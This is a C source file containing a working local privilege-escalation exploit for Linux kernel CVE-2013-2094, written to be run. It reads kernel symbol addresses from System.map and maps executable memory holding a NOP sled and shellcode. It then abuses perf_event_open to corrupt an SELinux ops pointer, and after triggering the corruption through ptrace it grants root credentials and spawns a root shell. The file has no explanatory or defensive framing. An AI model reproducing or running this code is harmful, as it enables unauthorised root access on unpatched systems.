linux_kernel_CVE-2013-2094.c

/* perf_event_open syscall local ROOT  exploit (CVE-2013-2094 )
 * Coded By Simo36 (Mohamed Ghannam) , mail : simo.ghannam@gmail.com
 * MorXploit Research
 * Date : 15/08/2013
 * original exploit semtex.c
 */

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <signal.h> 
#include <asm/unistd_64.h>
#include <linux/perf_event.h>


typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

unsigned long perf_swevent_enabled;
unsigned long selinux_ptrace_traceme_ptr;
unsigned long selinux_ptrace_traceme;
unsigned long selinux_ops;

#define STACK(x)	(x + sizeof(x) - 80)
#define PAGE_SIZE 0x1000

unsigned long _user_cs;
unsigned long _user_ss;
unsigned long _user_rflags;
char exit_stack[PAGE_SIZE];

unsigned long mmaped,rip;
unsigned char *mem;
size_t len;

int win = 0;

static int drop_shell()
{
	
	char *args[]={"/bin/sh",NULL};

	printf("[+] unmmaping %lx \n",mmaped);
	munmap(mem,len);

	if(!win) {
		printf("Failed !\n");
		return;
	}
	printf("[+] GOT ROOT .... ! \n");

	execl("/bin/sh","/bin/sh",NULL);
	
}

static void prepare_user_segment()
{
	__asm__ ("movq %%cs,%0\t\n"
		 "movq %%ss,%1\t\n"
		 "pushfq \t\n"
		 "popq %2\t\n"
		 : "=r"(_user_cs),"=r"(_user_ss),"=r"(_user_rflags)
		 :
		 :"memory");

}

static inline void setup_fake_stack()
{

	__asm__("swapgs;"
		"movq %0,0x20(%%rsp)\t\n"
		"movq %1,0x18(%%rsp)\t\n"
		"movq %2,0x10(%%rsp)\t\n"
		"movq %3,0x08(%%rsp)\t\n"
		"movq %4,0x00(%%rsp)\t\n"
		"iretq"
		::
		 "r" (_user_ss),
		 "r" (STACK(exit_stack)),
		 "r" (_user_rflags),
		 "r" (_user_cs),
		 "r" (drop_shell)
		 
		);
}
int getroot(void) {
	win = 1;
	commit_creds(prepare_kernel_cred(0));
	
	return 0xbad;
}


static inline void switch_umode()
{

	__asm__ (
		"movq %0,%%rax\t\n"
		"callq *%%rax"
		::
		 "r"(getroot)
		);
}

static unsigned long get_kernel_sym(char *name) {
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;
 
	f = fopen("System.map", "r");
	if (f == NULL) {
		f = fopen("System.map", "r");
		if (f == NULL)
			goto fallback;
		oldstyle = 1;
	}
 
repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		else {
			ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S."))
					continue;
				p = strrchr(sname, '_');
				if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_')
						p--;
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			printf("[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
			fclose(f);
			return addr;
		}
	}
	
	fclose(f);
	if (rep)
		return 0;
fallback:
/* didn't find the symbol, let's retry with the System.map
   dedicated to the pointlessness of Russell Coker's SELinux
   test machine (why does he keep upgrading the kernel if
   "all necessary security can be provided by SE Linux"?)
*/
	uname(&ver);
	if (strncmp(ver.release, "2.6", 3))
		oldstyle = 1;
	sprintf(sname, "/boot/System.map-%s", ver.release);
	f = fopen(sname, "r");
	if (f == NULL)
		return 0;
	rep = 1;
	goto repeat;
}

int sys_perf_event_open(unsigned int  config)
{
	int ret;
	
	struct perf_event_attr pea = {
		.type = PERF_TYPE_SOFTWARE,
		.size = sizeof(struct perf_event_attr),
		.config = config,
		.sample_type = 0,
		.exclude_kernel = 1,
		
	};
	return syscall(__NR_perf_event_open,&pea,0,-1,-1,0);
		
}


int main(int argc,char **argv)
{

	int ret;
	unsigned int config;

	prepare_user_segment();
	commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
	prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
	perf_swevent_enabled = get_kernel_sym("perf_swevent_enabled");
	selinux_ops = get_kernel_sym("selinux_ops");
	selinux_ptrace_traceme = get_kernel_sym("selinux_ptrace_traceme");
	
	selinux_ptrace_traceme_ptr = selinux_ops + (3 * 8);
	printf("[+] selinux_ptrace_traceme_ptr to 0x%lx \n",selinux_ptrace_traceme_ptr);

	rip =  (selinux_ptrace_traceme & 0xffffffff);
	mmaped = (rip & 0xfff00000);

	
	printf("[+] mmaped area to 0x%lx \n",mmaped);

	void *ptr = &mmaped;
	len = 0x1000000;
	
	mem = (char*)mmap((void*)mmaped,len,PROT_READ |PROT_WRITE | PROT_EXEC, 
			  MAP_FIXED | MAP_SHARED |MAP_ANONYMOUS,-1,0);
	if (mem == (unsigned char *) -1) {
		perror("[-] mmap");
		return -1;
	}
	memset(mem,0x90,len);
	memcpy((void*)rip,switch_umode,20);
	
	
	config = -(perf_swevent_enabled -  selinux_ptrace_traceme_ptr -4)/4;
	ret = sys_perf_event_open(config);
	if(ret < 0)  {
		perror("[-] perf_event_open");
		return -1;
	}

	ptrace(PTRACE_TRACEME,-1,0,0);
	execl("/bin/sh", "/bin/sh", NULL);

	
		
	return 0;
	
}